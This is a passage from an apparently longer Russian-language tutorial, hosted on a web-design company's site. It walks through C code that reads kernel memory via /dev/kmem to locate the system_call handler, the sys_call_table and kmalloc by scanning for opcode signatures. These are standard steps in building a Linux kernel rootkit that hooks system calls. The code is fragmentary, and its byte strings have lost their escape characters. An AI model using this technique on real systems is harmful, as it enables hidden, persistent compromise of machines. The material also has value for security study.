Разработка динамических сайтов
SEO услуги
Управление контекстной рекламой

Вход на хостинг

Имя пользователя:*

Пароль пользователя:*

IT-новости

20.04.2016 iPhone 2017 года поместят в водонепроницаемый корпус из стекла

Линейка iPhone в новом году серьезно поменяется. В этом уверен аналитический исследователь Мин Чи Ку......

подробнее

30.07.2015 Ищем уникальный контент для сайта

Ищем уникальный контент для сайта Без уникального контента Ваш сайт обречен на то, что его страницы......

подробнее

11.05.2015 Распространённые ошибки разработчиков сайтов

Не секрет, что в сети Интернет насчитывается миллионы сайтов, и каждый день появляются тысячси новых......

подробнее

Теперь нам известен адрес функции system_call (если точнее, это не адрес, а смещение в сегменте команд). Для получения адреса таблицы sys_call_table попытаемся найти опкод команды обращения к этой таблице.

Смещаемся по адресу функции system_call и считываем первые 128 байт обработчика в буфер sc_asm:

if (!rkm(kmem, sys_call_off, &sc_asm, 128)) return 0;

        close(kmem);

В этом буфере ищем опкод обращения к таблице sys_call_table. Поиск выполняется при помощи функции memmem. Данная функция возвращает указатель на позицию в буфере, в которой была найдена эталонная строка. В нашем случае эталонной строкой является опкод команды обращения к таблице sys_call_table – xffx14x85. Если этот опкод найден, то следующие за ним 4 байта будут содержать адрес таблицы:

p = (char *)memmem(sc_asm, 128, "xffx14x85", 3) + 3;

Если опкод удалось найти, возвращаем адрес таблицы системных вызовов:

if (p) return *(ulong *)p;

В случае неудачи возвращаем нулевое значение:

return 0;

}

Функция для определения адреса функции kmalloc:

ulong   get_kma(ulong pgoff)

{

    uint         i;

    unsigned char buf[0x10000], *p, *p1;

    int                 kmem;

    ulong        ret;

Функция принимает один параметр – величину нижней границы адресного пространства ядра. Это значение составляет 0xc0000000.

Если в ядре включена поддержка модулей, то воспользуемся этим:

 ret = get_sym("kmalloc");

    if (ret) {

    printf(" Zer gut! ");

    return ret;

    }

Если нет, будем искать адрес по опкоду.

kmem = open("/dev/kmem", O_RDONLY);

    if (kmem < 0) return 0;

Для поиска нам придется просканировать все адресное пространство ядра. Для этого организуем цикл:

for (i = pgoff+0x100000; i < (pgoff + 0x1000000); i += 0x10000)

        {

Считываем в буфер buf содержимое адресного пространства ядра:

if (!rkm(kmem, i, buf, sizeof(buf))) return 0;

В этом буфере ищем опкод команды push $0x1f0, который, как нами установлено, равен x68xf0x01x00. Для поиска используем функцию memmem:

p1=(char *)memmem(buf,sizeof(buf),"x68xf0x01x00",4);


Предыдущая страницаОглавлениеСледующая страница
 
[001] [002] [003] [004] [005] [006] [007] [008] [009] [010] [011] [012] [013] [014] [015] [016] [017] [018] [019] [020]
[021] [022] [023] [024] [025] [026] [027] [028] [029] [030] [031] [032] [033] [034] [035] [036] [037] [038] [039] [040]
[041] [042] [043] [044] [045] [046] [047] [048] [049] [050] [051] [052] [053] [054] [055] [056] [057] [058] [059] [060]
[061] [062] [063] [064] [065] [066] [067] [068] [069] [070] [071] [072] [073] [074] [075] [076] [077] [078] [079] [080]
[081] [082] [083] [084] [085] [086] [087] [088] [089] [090] [091] [092] [093] [094] [095] [096] [097] [098] [099] [100]
[101] [102] [103] [104] [105] [106] [107] [108] [109] [110] [111] [112] [113] [114] [115] [116] [117] [118] [119] [120]
[121] [122] [123] [124] [125] [126] [127] [128] [129] [130] [131] [132] [133] [134] [135] [136] [137] [138] [139] [140]
[141] [142] [143] [144] [145] [146] [147] [148] [149] [150]

+7 (831) 413-63-27
ООО Дельта-Технология ©2007 - 2023 год
Нижний Новгород, ул. Дальняя, 17А.
Rambler's Top100